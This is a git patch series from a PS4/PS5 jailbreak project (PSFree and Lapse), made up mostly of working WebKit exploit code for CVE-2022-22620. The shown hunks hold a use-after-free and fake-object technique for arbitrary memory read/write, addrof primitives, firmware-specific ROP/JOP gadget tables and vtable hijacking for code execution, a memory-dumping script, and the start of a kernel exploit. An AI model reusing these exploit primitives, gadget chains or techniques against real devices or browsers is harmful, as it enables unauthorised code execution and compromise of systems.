log('CodeBlock.m_constantRegisters.m_buffer:'); - rdr.set_addr(search_addr.add(winning_off)); - for (let i = 0; i < slen; i += 8) { - log(`${rdr.read64_at(i)} | ${hex(i)}`); - } - - const bt_addr = rdr.read64_at(bt_offset); - const strs_addr = rdr.read64_at(strs_offset); - log(`immutable butterfly addr: ${bt_addr}`); - log(`string array passed to tag addr: ${strs_addr}`); - - log('JSImmutableButterfly:'); - rdr.set_addr(bt_addr); - for (let i = 0; i < bt_size; i += 8) { - log(`${rdr.read64_at(i)} | ${hex(i)}`); - } - - log('string array:'); - rdr.set_addr(strs_addr); - for (let i = 0; i < off.size_jsobj; i += 8) { - log(`${rdr.read64_at(i)} | ${hex(i)}`); - } - - return [winning_f, bt_addr, strs_addr]; -} - -// data to write to the SerializedScriptValue -// -// setup to make deserialization create an ArrayBuffer with an arbitrary buffer -// address -function make_ssv_data(ssv_buf, view, view_p, addr, size) { - // sizeof JSC::ArrayBufferContents - const size_abc = (() => { - if (is_ps4) { - return version >= 0x900 ? 0x18 : 0x20; - } else { - return version >= 0x300 ? 0x18 : 0x20; - } - })(); - - const data_len = 9; - // sizeof WTF::Vector - const size_vector = 0x10; - - // SSV offsets - const off_m_data = 8; - const off_m_abc = 0x18; - // view offsets - const voff_vec_abc = 0; // Vector - const voff_abc = voff_vec_abc + size_vector; // ArrayBufferContents - const voff_data = voff_abc + size_abc; - - // WTF::Vector - // write m_data - // m_buffer - ssv_buf.write64(off_m_data, view_p.add(voff_data)); - // m_capacity - ssv_buf.write32(off_m_data + 8, data_len); - // m_size - ssv_buf.write64(off_m_data + 0xc, data_len); - - // 6 is the serialization format version number for ps4 6.00. The format - // is backwards compatible and using a value less than the current version - // number used by a specific WebKit version is considered valid. - // - // See CloneDeserializer::isValid() from - // WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.0x. - const CurrentVersion = 6; - const ArrayBufferTransferTag = 23; - view.write32(voff_data, CurrentVersion); - view[voff_data + 4] = ArrayBufferTransferTag; - view.write32(voff_data + 5, 0); - - // std::unique_ptr> - // write m_arrayBufferContentsArray - ssv_buf.write64(off_m_abc, view_p.add(voff_vec_abc)); - // write WTF::Vector - view.write64(voff_vec_abc, view_p.add(voff_abc)); - view.write32(voff_vec_abc + 8, 1); - view.write32(voff_vec_abc + 0xc, 1); - - if (size_abc === 0x20) { - // m_destructor, offset 0, leave as 0 - // m_shared, offset 8, leave as 0 - // m_data - view.write64(voff_abc + 0x10, addr); - // m_sizeInBytes - view.write32(voff_abc + 0x18, size); - } else { - // m_data - view.write64(voff_abc + 0, addr); - // m_destructor (48 bits), offset 8, leave as 0 - // m_shared (48 bits), offset 0xe, leave as 0 - // m_sizeInBytes - view.write32(voff_abc + 0x14, size); - } -} - -async function make_arw(reader, view2, pop) { - const rdr = reader; - - // we have to align the fake object to atomSize (16) else the process - // crashes. we don't know why - // - // since cells (GC memory chunks) are always aligned to atomSize, there - // might be code that's assuming that all GC pointers are aligned - // - // see atomSize from WebKit/Source/JavaScriptCore/heap/MarkedBlock.h at - // PS4 8.0x - const fakeobj_off = 0x20; - const fakebt_base = fakeobj_off + off.size_jsobj; - // sizeof JSC::IndexingHeader - const indexingHeader_size = 8; - // sizeof JSC::ArrayStorage - const arrayStorage_size = 0x18; - // there's only the .raw property - const propertyStorage = 8; - const fakebt_off = fakebt_base + indexingHeader_size + propertyStorage; - - log('STAGE: leak CodeBlock'); - // has too be greater than 0x10. the size of JSImmutableButterfly - const bt_size = 0x10 + fakebt_off + arrayStorage_size; - const [func, bt_addr, strs_addr] = await leak_code_block(rdr, bt_size); - - const view = rdr.rstr_view; - const view_p = rdr.m_data.sub(off.strimpl_inline_str); - const view_save = new Uint8Array(view); - - view.fill(0); - make_ssv_data(view2, view, view_p, bt_addr, bt_size); - - const bt = new BufferView(pop.state); - view.set(view_save); - - log('ArrayBuffer pointing to JSImmutableButterfly:'); - for (let i = 0; i < bt.byteLength; i += 8) { - log(`${bt.read64(i)} | ${hex(i)}`); - } - - // the immutable butterfly's indexing type is ArrayWithInt32 so - // JSImmutableButterfly::visitChildren() won't ask the GC to scan its slots - // for JSObjects to recursively visit. this means that we can write - // anything to the the butterfly's data area without fear of a GC crash - - const val_true = 7; // JSValue of "true" - const strs_cell = rdr.read64(strs_addr); - - bt.write64(fakeobj_off, strs_cell); - bt.write64(fakeobj_off + off.js_butterfly, bt_addr.add(fakebt_off)); - - // since .raw is the first ever created property, it's just besides the - // indexing header - bt.write64(fakebt_off - 0x10, val_true); - // indexing header's publicLength and vectorLength - bt.write32(fakebt_off - 8, 1); - bt.write32(fakebt_off - 8 + 4, 1); - - // custom ArrayStorage that allows read/write to index 0. we have to use an - // ArrayStorage because the structure assigned to the structure ID expects - // one so visitButterfly() will crash if we try to fake the object with a - // regular butterfly - - // m_sparseMap - bt.write64(fakebt_off, 0); - // m_indexBias - bt.write32(fakebt_off + 8, 0); - // m_numValuesInVector - bt.write32(fakebt_off + 0xc, 1); - - // m_vector[0] - bt.write64(fakebt_off + 0x10, val_true); - - // immutable_butterfly[0] = fakeobj; - bt.write64(0x10, bt_addr.add(fakeobj_off)); - - const fake = func()[0]; - log(`fake.raw: ${fake.raw}`); - log(`fake[0]: ${fake[0]}`); - log(`fake: [${fake}]`); - - const test_val = 3; - log(`test setting fake[0] to ${test_val}`); - fake[0] = test_val; - if (fake[0] !== test_val) { - die(`unexpected fake[0]: ${fake[0]}`); - } - - function addrof(obj) { - fake[0] = obj; - return bt.read64(fakebt_off + 0x10); - } - - // m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap, - // unlike FastTypedArray, where the buffer is managed by the GC. This - // prevents random crashes. - // - // See JSGenericTypedArrayView::visitChildren() from - // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at - // PS4 8.0x. - const worker = new DataView(new ArrayBuffer(1)); - const main_template = new Uint32Array(new ArrayBuffer(off.size_view)); - - const leaker = {addr: null, 0: 0}; - - const worker_p = addrof(worker); - const main_p = addrof(main_template); - const leaker_p = addrof(leaker); - - // we'll fake objects using a JSArrayBufferView whose m_mode is - // FastTypedArray. it's safe to use its buffer since it's GC-allocated. the - // current fastSizeLimit is 1000. if the length is less than or equal to - // that, we get a FastTypedArray - const scaled_sview = off.size_view / 4; - const faker = new Uint32Array(scaled_sview); - const faker_p = addrof(faker); - const faker_vector = rdr.read64(faker_p.add(off.view_m_vector)); - - const vector_idx = off.view_m_vector / 4; - const length_idx = off.view_m_length / 4; - const mode_idx = off.view_m_mode / 4; - const bt_idx = off.js_butterfly / 4; - - // fake a Uint32Array using GC memory - faker[vector_idx] = worker_p.lo; - faker[vector_idx + 1] = worker_p.hi; - faker[length_idx] = scaled_sview; - - rdr.set_addr(main_p); - faker[mode_idx] = rdr.read32_at(off.view_m_mode); - // JSCell - faker[0] = rdr.read32_at(0); - faker[1] = rdr.read32_at(4); - faker[bt_idx] = rdr.read32_at(off.js_butterfly); - faker[bt_idx + 1] = rdr.read32_at(off.js_butterfly + 4); - - // fakeobj() - bt.write64(fakebt_off + 0x10, faker_vector); - const main = fake[0]; - - log('main (pointing to worker):'); - for (let i = 0; i < off.size_view; i += 8) { - const idx = i / 4; - log(`${new Int(main[idx], main[idx + 1])} | ${hex(i)}`); - } - - new Memory( - main, worker, leaker, - leaker_p.add(off.js_inline_prop), - rdr.read64(leaker_p.add(off.js_butterfly)), - ); - log('achieved arbitrary r/w'); - - rdr.restore(); - // set the refcount to a high value so we don't free the memory, view's - // death will already free it (a StringImpl is currently using the memory) - view.write32(0, -1); - // ditto (a SerializedScriptValue is currently using the memory) - view2.write32(0, -1); - // we don't want its death to call fastFree() on GC memory - make_arw._buffer = bt.buffer; -} - -async function main() { - log('STAGE: UAF SSV'); - const [fsets, indices] = prepare_uaf(); - const [view, [view2, pop]] = await uaf_ssv(fsets, indices[1], indices[0]); - - log('STAGE: get string relative read primitive'); - const rdr = await make_rdr(view); - - for (const fset of fsets) { - fset.rows = ''; - fset.cols = ''; - } - - log('STAGE: achieve arbitrary read/write primitive'); - await make_arw(rdr, view2, pop); - - clear_log(); - // path to your script that will use the exploit - import('./lapse.mjs'); -} -main(); diff --git a/psfree/psfree_lapse.cache b/psfree/psfree_lapse.cache deleted file mode 100644 index c161cc2..0000000 --- a/psfree/psfree_lapse.cache +++ /dev/null @@ -1,31 +0,0 @@ -CACHE MANIFEST -# PSFree-Lapse - -about.html -alert.mjs -cache.html -config.mjs -index.html -lapse.mjs -payload.bin -payload.js -psfree.mjs -fonts\LiberationMono-Regular.ttf -kpatch\900.elf -module\chain.mjs -module\constants.mjs -module\int64.mjs -module\mem.mjs -module\memtools.mjs -module\offset.mjs -module\rw.mjs -module\utils.mjs -module\view.mjs -rop\900.mjs - -NETWORK: -* - -SETTINGS: -prefer-online: - diff --git a/psfree/rop/900.mjs b/psfree/rop/900.mjs deleted file mode 100644 index 8ea3b87..0000000 --- a/psfree/rop/900.mjs +++ /dev/null @@ -1,374 +0,0 @@ -/* Copyright (C) 2024 anonymous - -This file is part of PSFree. - -PSFree is free software: you can redistribute it and/or modify -it under the terms of the GNU Affero General Public License as -published by the Free Software Foundation, either version 3 of the -License, or (at your option) any later version. - -PSFree is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU Affero General Public License for more details. - -You should have received a copy of the GNU Affero General Public License -along with this program. If not, see . */ - -// by janisslsm (John) from ps4-dev discord - -import { log } from '../module/utils.mjs'; -import { mem } from '../module/mem.mjs'; -import { KB} from '../module/constants.mjs'; -import { ChainBase } from '../module/chain.mjs'; - -import { - find_base, - get_view_vector, - resolve_import, - init_syscall_array, -} from '../module/memtools.mjs'; - -import * as rw from '../module/rw.mjs'; - -const origin = window.origin; -const port = '8000'; -const url = `${origin}:${port}`; - -const syscall_array = []; - -const offset_textarea_impl = 0x18; - -// WebKit offsets of imported functions -const offset_wk_stack_chk_fail = 0x178; -const offset_wk_memcpy = 0x188; - -// libSceNKWebKit.sprx -export let libwebkit_base = null; -// libkernel_web.sprx -export let libkernel_base = null; -// libSceLibcInternal.sprx -export let libc_base = null; - -// Chain implementation based on Chain803. Replaced offsets that changed -// between versions. Replaced gadgets that were missing with new ones that -// won't change the API. -// -// gadgets for the JOP chain -// -// Why these JOP chain gadgets are not named jop1-3 and jop2-5 not jop4-7 is -// because jop1-5 was the original chain used by the old implementation of -// Chain803. Now the sequence is ta_jop1-3 then to jop2-5. -// -// When the scrollLeft getter native function is called on PS4 9.00, rsi is the -// JS wrapper for the WebCore textarea class. -const ta_jop1 = ` -mov rdi, qword ptr [rsi + 0x18] -mov rax, qword ptr [rdi] -call qword ptr [rax + 0xb8] -`; -// Since the method of code redirection we used is via redirecting a call to -// jump to our JOP chain, we have the return address of the caller on entry. -// -// ta_jop1 pushed another object (via the call instruction) but we want no -// extra objects between the return address and the rbp that will be pushed by -// jop2 later. So we pop the return address pushed by ta_jop1. -// -// This will make pivoting back easy, just "leave; ret". -const ta_jop2 = ` -pop rsi -jmp qword ptr [rax + 0x1c] -`; -const ta_jop3 = ` -mov rdi, qword ptr [rax + 8] -mov rax, qword ptr [rdi] -jmp qword ptr [rax + 0x30] -`; -// rbp is now pushed, any extra objects pushed by the call instructions can be -// ignored -const jop2 = ` -push rbp -mov rbp, rsp -mov rax, qword ptr [rdi] -call qword ptr [rax + 0x58] -`; -const jop3 = ` -mov rdx, qword ptr [rax + 0x18] -mov rax, qword ptr [rdi] -call qword ptr [rax + 0x10] -`; -const jop4 = ` -push rdx -jmp qword ptr [rax] -`; -const jop5 = 'pop rsp; ret'; - -// the ps4 firmware is compiled to use rbp as a frame pointer -// -// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain -// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must -// restore rbp (if needed) before the epilogue. -// -// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we -// pushed earlier before the pivot, thus restoring the old rbp). -// -// leave instruction equivalent: -// mov rsp, rbp -// pop rbp -const rop_epilogue = 'leave; ret'; - -const webkit_gadget_offsets = new Map(Object.entries({ - 'pop rax; ret' : 0x0000000000051a12, // `58 c3` - 'pop rbx; ret' : 0x00000000000be5d0, // `5b c3` - 'pop rcx; ret' : 0x00000000000657b7, // `59 c3` - 'pop rdx; ret' : 0x000000000000986c, // `5a c3` - - 'pop rbp; ret' : 0x00000000000000b6, // `5d c3` - 'pop rsi; ret' : 0x000000000001f4d6, // `5e c3` - 'pop rdi; ret' : 0x0000000000319690, // `5f c3` - 'pop rsp; ret' : 0x000000000004e293, // `5c c3` - - 'pop r8; ret' : 0x00000000001a7ef1, // `47 58 c3` - 'pop r9; ret' : 0x0000000000422571, // `47 59 c3` - 'pop r10; ret' : 0x0000000000e9e1d1, // `47 5a c3` - 'pop r11; ret' : 0x00000000012b1d51, // `47 5b c3` - - 'pop r12; ret' : 0x000000000085ec71, // `47 5c c3` - 'pop r13; ret' : 0x00000000001da461, // `47 5d c3` - 'pop r14; ret' : 0x0000000000685d73, // `47 5e c3` - 'pop r15; ret' : 0x00000000006ab3aa, // `47 5f c3` - - 'ret' : 0x0000000000000032, // `c3` - 'leave; ret' : 0x000000000008db5b, // `c9 c3` - - 'mov rax, qword ptr [rax]; ret' : 0x00000000000241cc, // `48 8b 00 c3` - 'mov qword ptr [rdi], rax; ret' : 0x000000000000613b, // `48 89 07 c3` - 'mov dword ptr [rdi], eax; ret' : 0x000000000000613c, // `89 07 c3` - 'mov dword ptr [rax], esi; ret' : 0x00000000005c3482, // `89 30 c3` - - - [jop2] : 0x0000000000683800, - [jop3] : 0x0000000000303906, - [jop4] : 0x00000000028bd332, - [jop5] : 0x000000000004e293, - - [ta_jop1] : 0x00000000004e62a4, - [ta_jop2] : 0x00000000021fce7e, - [ta_jop3] : 0x00000000019becb4, -})); - -const libc_gadget_offsets = new Map(Object.entries({ - 'getcontext' : 0x24f04, - 'setcontext' : 0x29448, -})); - -const libkernel_gadget_offsets = new Map(Object.entries({ - // returns the location of errno - '__error' : 0xCB80, -})); - -export const gadgets = new Map(); - -function get_bases() { - const textarea = document.createElement('textarea'); - const webcore_textarea = mem.addrof(textarea).readp(offset_textarea_impl); - const textarea_vtable = webcore_textarea.readp(0); - const libwebkit_base = find_base(textarea_vtable, true, true); - - const stack_chk_fail_import = - libwebkit_base - .add(offset_wk_stack_chk_fail) - ; - const stack_chk_fail_addr = resolve_import( - stack_chk_fail_import, - true, - true - ); - const libkernel_base = find_base(stack_chk_fail_addr, true, true); - - const memcpy_import = libwebkit_base.add(offset_wk_memcpy); - const memcpy_addr = resolve_import(memcpy_import, true, true); - const libc_base = find_base(memcpy_addr, true, true); - - return [ - libwebkit_base, - libkernel_base, - libc_base, - ]; -} - -export function init_gadget_map(gadget_map, offset_map, base_addr) { - for (const [insn, offset] of offset_map) { - gadget_map.set(insn, base_addr.add(offset)); - } -} - -class Chain900Base extends ChainBase { - constructor() { - super(); - - // for conditional jumps - this._clean_branch_ctx(); - this.flag = new Uint8Array(8); - this.flag_addr = get_view_vector(this.flag); - this.jmp_target = new Uint8Array(0x100); - rw.write64(this.jmp_target, 0x1c, this.get_gadget(jop4)); - rw.write64(this.jmp_target, 0, this.get_gadget(jop5)); - - // for save/restore - this.is_saved = false; - this.is_stale = false; - this.position = 0; - const jmp_buf_size = 0xc8; - this.jmp_buf = new Uint8Array(jmp_buf_size); - this.jmp_buf_p = get_view_vector(this.jmp_buf); - } - - // sequence to pivot back and return - push_end() { - this.push_gadget(rop_epilogue); - } - - check_is_branching() { - if (this.is_branch_ctx) { - throw Error('chain is still branching, end it before running'); - } - } - - push_value(value) { - super.push_value(value); - - if (this.is_branch_ctx) { - this.branch_position += 8; - } - } - - _clean_branch_ctx() { - this.is_branch_ctx = false; - this.branch_position = null; - this.delta_slot = null; - this.rsp_slot = null; - this.rsp_position = null; - } - - clean() { - super.clean(); - this._clean_branch_ctx(); - this.is_saved = false; - this.is_stale = false; - this.position = 0; - } - - push_get_retval() { - this.push_gadget('pop rdi; ret'); - this.push_value(this.retval_addr); - this.push_gadget('mov qword ptr [rdi], rax; ret'); - } - - push_clear_errno() { - this.push_call(this.get_gadget('__error')); - this.push_gadget('pop rsi; ret'); - this.push_value(0); - this.push_gadget('mov dword ptr [rax], esi; ret'); - } - - push_get_errno() { - this.push_gadget('pop rdi; ret'); - this.push_value(this.errno_addr); - - this.push_call(this.get_gadget('__error')); - - this.push_gadget('mov rax, qword ptr [rax]; ret'); - this.push_gadget('mov dword ptr [rdi], eax; ret'); - } - - check_stale() { - if (this.is_stale) { - throw Error('chain already ran, clean it first'); - } - this.is_stale = true; - } - check_is_empty() { - if (this.position === 0) { - throw Error('chain is empty'); - } - } -} - -// Chain for PS4 9.00 -export class Chain900 extends Chain900Base { - constructor() { - super(); - - const textarea = document.createElement('textarea'); - this.textarea = textarea; - const js_ta = mem.addrof(textarea); - const webcore_ta = js_ta.readp(0x18); - this.webcore_ta = webcore_ta; - // Only offset 0x1c8 will be used when calling the scrollLeft getter - // native function (our tests don't crash). - // - // This implies we don't need to know the exact size of the vtable and - // try to copy it as much as possible to avoid a crash due to missing - // vtable entries. - // - // So the rest of the vtable are free for our use. - const vtable = new Uint8Array(0x200); - const old_vtable_p = webcore_ta.readp(0); - this.vtable = vtable; - this.old_vtable_p = old_vtable_p; - - // 0x1b8 is the offset of the scrollLeft getter native function - rw.write64(vtable, 0x1b8, this.get_gadget(ta_jop1)); - rw.write64(vtable, 0xb8, this.get_gadget(ta_jop2)); - rw.write64(vtable, 0x1c, this.get_gadget(ta_jop3)); - - // for the JOP chain - const rax_ptrs = new Uint8Array(0x100); - const rax_ptrs_p = get_view_vector(rax_ptrs); - this.rax_ptrs = rax_ptrs; - - rw.write64(rax_ptrs, 0x30, this.get_gadget(jop2)); - rw.write64(rax_ptrs, 0x58, this.get_gadget(jop3)); - rw.write64(rax_ptrs, 0x10, this.get_gadget(jop4)); - rw.write64(rax_ptrs, 0, this.get_gadget(jop5)); - // value to pivot rsp to - rw.write64(this.rax_ptrs, 0x18, this.stack_addr); - - const jop_buffer = new Uint8Array(8); - const jop_buffer_p = get_view_vector(jop_buffer); - this.jop_buffer = jop_buffer; - - rw.write64(jop_buffer, 0, rax_ptrs_p); - - rw.write64(vtable, 8, jop_buffer_p); - } - - run() { - this.check_stale(); - this.check_is_empty(); - this.check_is_branching(); - - // change vtable - this.webcore_ta.write64(0, get_view_vector(this.vtable)); - // jump to JOP chain - this.textarea.scrollLeft; - // restore vtable - this.webcore_ta.write64(0, this.old_vtable_p); - } -} -export const Chain = Chain900; - -export function init(Chain) { - [libwebkit_base, libkernel_base, libc_base] = get_bases(); - - init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base); - init_gadget_map(gadgets, libc_gadget_offsets, libc_base); - init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base); - init_syscall_array(syscall_array, libkernel_base, 300 * KB); - log('syscall_array:'); - log(syscall_array); - Chain.init_class(gadgets, syscall_array); -} - -log('Chain900'); diff --git a/psfree/send.mjs b/psfree/send.mjs deleted file mode 100644 index 508700e..0000000 --- a/psfree/send.mjs +++ /dev/null @@ -1,231 +0,0 @@ -/* Copyright (C) 2024-2025 anonymous - -This file is part of PSFree. - -PSFree is free software: you can redistribute it and/or modify -it under the terms of the GNU Affero General Public License as -published by the Free Software Foundation, either version 3 of the -License, or (at your option) any later version. - -PSFree is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU Affero General Public License for more details. - -You should have received a copy of the GNU Affero General Public License -along with this program. If not, see . */ - -// script for dumping libSceNKWebKit.sprx, libkernel_web.sprx, and -// libSceLibcInternal.sprx - -// This script is for firmware 8.0x. You need to port this to your firmware if -// you want to use it. It only dumps the .text and PT_SCE_RELRO segments. It -// doesn't dump the entire ELF file. -// -// There's also some miscellaneous functions to dump functions from WebKit that -// were studied during the development of PSFree. - -// libkernel libraries contain syscalls -// syscalls are enforced to be called from these libraries -// -// libkernel_web.sprx is used by the browser in firmwares >= 6.00 -// libkernel.sprx for firmwares below -// -// libkernel_sys.sprx contains syscalls that aren't found in the others, such -// as mount and nmount -// -// the BD-J app uses libkernel_sys.sprx for example - -// Porting HOWTO: -// -// You can only dump the WebKit module (libSceNKWebKit.sprx for FW >= 6.00, -// else libSceWebkit2.sprx) initially via dump_libwebkit() on any firmware. -// We'll use the WebKit dump to search for imported functions from libkernel -// and LibcInternal. Once we resolve the imports, we can use find_base() to get -// the boundaries of these modules. -// -// Most of the work is done for you at dump_lib*(). You just need to find the -// offset of the imported functions relative to WebKit's base address. -// -// import candidates: -// -// __stack_chk_fail() is a good import from libkernel to search for as it's -// easy to find since most functions are protected by a stack canary. -// -// For a LibcInternal import we searched for strlen() but you can search for -// any libc function such as memcpy(). - -import * as config from './config.mjs'; - -import { Int } from './module/int64.mjs'; -import { Addr, mem } from './module/mem.mjs'; -import { make_buffer, find_base, resolve_import } from './module/memtools.mjs'; -import { KB, MB } from './module/offset.mjs'; - -import { - log, - align, - die, - send, -} from './module/utils.mjs'; - -import * as rw from './module/rw.mjs'; -import * as o from './module/offset.mjs'; - -const origin = window.origin; -const port = '8000'; -const url = `${origin}:${port}`; - -const textarea = document.createElement('textarea'); -// JSObject -const js_textarea = mem.addrof(textarea); - -// boundaries of the .text + PT_SCE_RELRO portion of a module -function get_boundaries(leak) { - const lib_base = find_base(leak, true, true); - const lib_end = find_base(leak, false, false); - - return [lib_base, lib_end] -} - -// dump a module's .text and PT_SCE_RELRO segments only -function dump(name, lib_base, lib_end) { - // assumed size < 4GB - const lib_size = lib_end.sub(lib_base).lo; - log(`${name} base: ${lib_base}`); - log(`${name} size: ${lib_size}`); - const lib = make_buffer( - lib_base, - lib_size - ); - send( - url, - lib, - `${name}.sprx.text_${lib_base}.bin`, - () => log(`${name} sent`) - ); -} - -// dump for libSceNKWebKit.sprx -function dump_libwebkit() { - let addr = js_textarea; - // WebCore::HTMLTextAreaElement - addr = addr.readp(0x18); - - // vtable for WebCore::HTMLTextAreaElement - // in PT_SCE_RELRO segment (p_type = 0x6100_0010) - addr = addr.readp(0); - - log(`vtable: ${addr}`); - const vtable = make_buffer(addr, 0x400); - send(url, vtable, `vtable_${addr}.bin`, () => log('vtable sent')); - - const [lib_base, lib_end] = get_boundaries(addr); - dump('libSceNKWebKit', lib_base, lib_end); - - return lib_base; -} - -// dump for libkernel_web.sprx -function dump_libkernel(libwebkit_base) { - const offset = 0x8d8; - const vtable_p = js_textarea.readp(0x18).readp(0); - // __stack_chk_fail - const stack_chk_fail_import = libwebkit_base.add(offset); - - const libkernel_leak = resolve_import(stack_chk_fail_import); - log(`__stack_chk_fail import: ${libkernel_leak}`); - - const [lib_base, lib_end] = get_boundaries(libkernel_leak); - dump('libkernel_web', lib_base, lib_end); -} - -// dump for libSceLibcInternal.sprx -function dump_libc(libwebkit_base) { - const offset = 0x918; - const vtable_p = js_textarea.readp(0x18).readp(0); - // strlen - const strlen_import = libwebkit_base.add(offset); - - const libc_leak = resolve_import(strlen_import); - log(`strlen import: ${libc_leak}`); - - const [lib_base, lib_end] = get_boundaries(libc_leak); - dump('libSceLibcInternal', lib_base, lib_end); -} - -function dump_webkit() { - const libwebkit_base = dump_libwebkit(); - dump_libkernel(libwebkit_base); - dump_libc(libwebkit_base); -} - -// See globalFuncEval() from -// WebKit/Source/JavaScriptCore/runtime/JSGlobalObjectFunctions.cpp at PS4 -// 8.03. -// -// Used to dump the implementation of eval() to figure out the expression -// "execState.argument(0)". -// -// eval()'s native function receives a JSC::ExecState pointer (renamed to -// JSC::CallFrame on webkitgtk 2.34.4). That type has an argument() method -// which takes an index and returns the corresponding JSValue passed to eval(), -// e.g. execState.argument(0) is the first JSValue argument. -// -// execState.argument(0) evaluates to *(&execState + argumentOffset + 0). -// Knowing the argumentOffset is useful for passing data to ROP chains. -// argumentOffset is 0x30 for PS4 8.03. -// -// The PS4 uses the System V ABI. The ExecState pointer is passed to the rdi -// register since it is the first argument. ROP chains can get the JSValue -// passed via *(rdi + 0x30). -// -// For example, the expression "eval(1)" has the JSValue encoding of 1 passed -// to *(rdi + 0x30). -function dump_eval() { - let addr = js_textarea; - // WebCore::HTMLTextAreaElement - addr = addr.readp(0x18); - - // vtable for WebCore::HTMLTextAreaElement - // in PT_SCE_RELRO segment (p_type = 0x6100_0010) - addr = addr.readp(0); - - const libwebkit_base = find_base(addr, true, true); - const impl = mem.addrof(eval).readp(0x18).readp(0x38); - const offset = impl.sub(libwebkit_base); - send( - url, - make_buffer(impl, 0x800), - `eval_dump_offset_${offset}.bin`, - () => log('sent') - ); -} - -// Initially we just used the vtable offset from pOOBs4 (0x1c8) and tested if -// it works. It did but let's add this dumper so we can verify it another way. -// See howto_code_exec.txt about code execution via the vtable of a textarea -// element. -function dump_scrollLeft() { - let proto = Object.getPrototypeOf(textarea); - proto = Object.getPrototypeOf(proto); - proto = Object.getPrototypeOf(proto); - - const scrollLeft_get = - Object.getOwnPropertyDescriptors(proto).scrollLeft.get - ; - - // get the JSCustomGetterSetterFunction - const js_func = mem.addrof(scrollLeft_get); - const getterSetter = js_func.readp(0x28); - const getter = getterSetter.readp(8); - - const libwebkit_base = find_base(getter, true, true); - const offset = getter.sub(libwebkit_base); - send( - url, - make_buffer(getter, 0x800), - `scrollLeft_getter_dump_offset_${offset}.bin`, - () => log('sent') - ); -} From 802ff07d9bef58db763c03ad2cd640f33bae4491 Mon Sep 17 00:00:00 2001 From: ps3120 <32280131+ps3120@users.noreply.github.com> Date: Fri, 23 May 2025 13:56:52 +0200 Subject: [PATCH 04/11] Update lapse.mjs --- lapse.mjs | 9 --------- 1 file changed, 9 deletions(-) diff --git a/lapse.mjs b/lapse.mjs index 1197518..0c1c5be 100644 --- a/lapse.mjs +++ b/lapse.mjs @@ -1713,15 +1713,6 @@ export async function kexploit() { return new Promise(() => {}); } - // If setuid is successful, we dont need to run the kexploit again - try { - if (sysi('setuid', 0) == 0) { - log("Not running kexploit again.") - return; - } - } - catch (e) {} - // fun fact: // if the first thing you do since boot is run the web browser, WebKit can // use all the cores From b69d246037c4610ad523c3cbd935e0a2fe7aea40 Mon Sep 17 00:00:00 2001 From: ps3120 <32280131+ps3120@users.noreply.github.com> Date: Fri, 23 May 2025 14:07:07 +0200 Subject: [PATCH 05/11] Update psfree.mjs --- psfree.mjs | 2459 ++++++++++++++++++++++++++++++++++++---------------- 1 file changed, 1714 insertions(+), 745 deletions(-) diff --git a/psfree.mjs b/psfree.mjs index fb9b346..b176e5e 100644 --- a/psfree.mjs +++ b/psfree.mjs @@ -1,5 +1,4 @@ -/* Copyright (C) 2023-2025 anonymous - +/* Copyright (C) 2025 anonymous This file is part of PSFree. PSFree is free software: you can redistribute it and/or modify @@ -15,41 +14,33 @@ GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see . */ -// PSFree is a WebKit exploit using CVE-2022-22620 to gain arbitrary read/write -// -// vulnerable: -// * PS4 [6.00, 10.00) -// * PS5 [1.00, 6.00) -// -// * CelesteBlue from ps4-dev on discord.com -// * Helped in figuring out the size of WebCore::SerializedScriptValue and -// its needed offsets on different firmwares. -// * figured out the range of vulnerable firmwares -// * janisslsm from ps4-dev on discord.com -// * Helped in figuring out the size of JSC::ArrayBufferContents and its -// needed offsets on different firmwares. -// * Kameleon_ from ps4-dev on discord.com - tester -// * SlidyBat from PS5 R&D discord.com -// * Helped in figuring out the size of JSC::ArrayBufferContents and its -// needed offsets on different firmwares (PS5). +// Lapse is a kernel exploit for PS4 [5.00, 12.50) and PS5 [1.00-10.20). It +// takes advantage of a bug in aio_multi_delete(). Take a look at the comment +// at the race_one() function here for a brief summary. + +// debug comment legend: +// * PANIC - code will make the system vulnerable to a kernel panic or it will +// perform a operation that might panic +// * RESTORE - code will repair kernel panic vulnerability +// * MEMLEAK - memory leaks that our code will induce import { Int } from './module/int64.mjs'; -import { Memory,mem } from './module/mem.mjs'; -import { KB, MB } from './module/offset.mjs'; -import { BufferView } from './module/rw.mjs'; +import { mem } from './module/mem.mjs'; +import { log, die, hex, hexdump } from './module/utils.mjs'; +import { cstr, jstr } from './module/memtools.mjs'; +import { page_size, context_size } from './module/offset.mjs'; +import { Chain } from './module/chain.mjs'; import { - die, - DieError, - log, - clear_log, - sleep, - hex, - align, -} from './module/utils.mjs'; + View1, View2, View4, + Word, Long, Pointer, + Buffer, +} from './module/view.mjs'; +import * as rop from './module/chain.mjs'; import * as config from './config.mjs'; -import * as off from './module/offset.mjs'; + +const t1 = performance.now(); // check if we are running on a supported firmware version const [is_ps4, version] = (() => { @@ -58,9 +49,9 @@ const [is_ps4, version] = (() => { const version = value & 0xffff; const [lower, upper] = (() => { if (is_ps4) { - return [0x600, 0x1000]; + return [0x100, 0x1250]; } else { - return [0x100, 0x600]; + return [0x100, 0x1020]; } })(); @@ -71,792 +62,1770 @@ const [is_ps4, version] = (() => { return [is_ps4, version]; })(); -const ssv_len = (() => { - if (0x600 <= config.target && config.target < 0x650) { - return 0x58; +// sys/socket.h +const AF_UNIX = 1; +const AF_INET = 2; +const AF_INET6 = 28; +const SOCK_STREAM = 1; +const SOCK_DGRAM = 2; +const SOL_SOCKET = 0xffff; +const SO_REUSEADDR = 4; +const SO_LINGER = 0x80; + +// netinet/in.h +const IPPROTO_TCP = 6; +const IPPROTO_UDP = 17; +const IPPROTO_IPV6 = 41; + +// netinet/tcp.h +const TCP_INFO = 0x20; +const size_tcp_info = 0xec; + +// netinet/tcp_fsm.h +const TCPS_ESTABLISHED 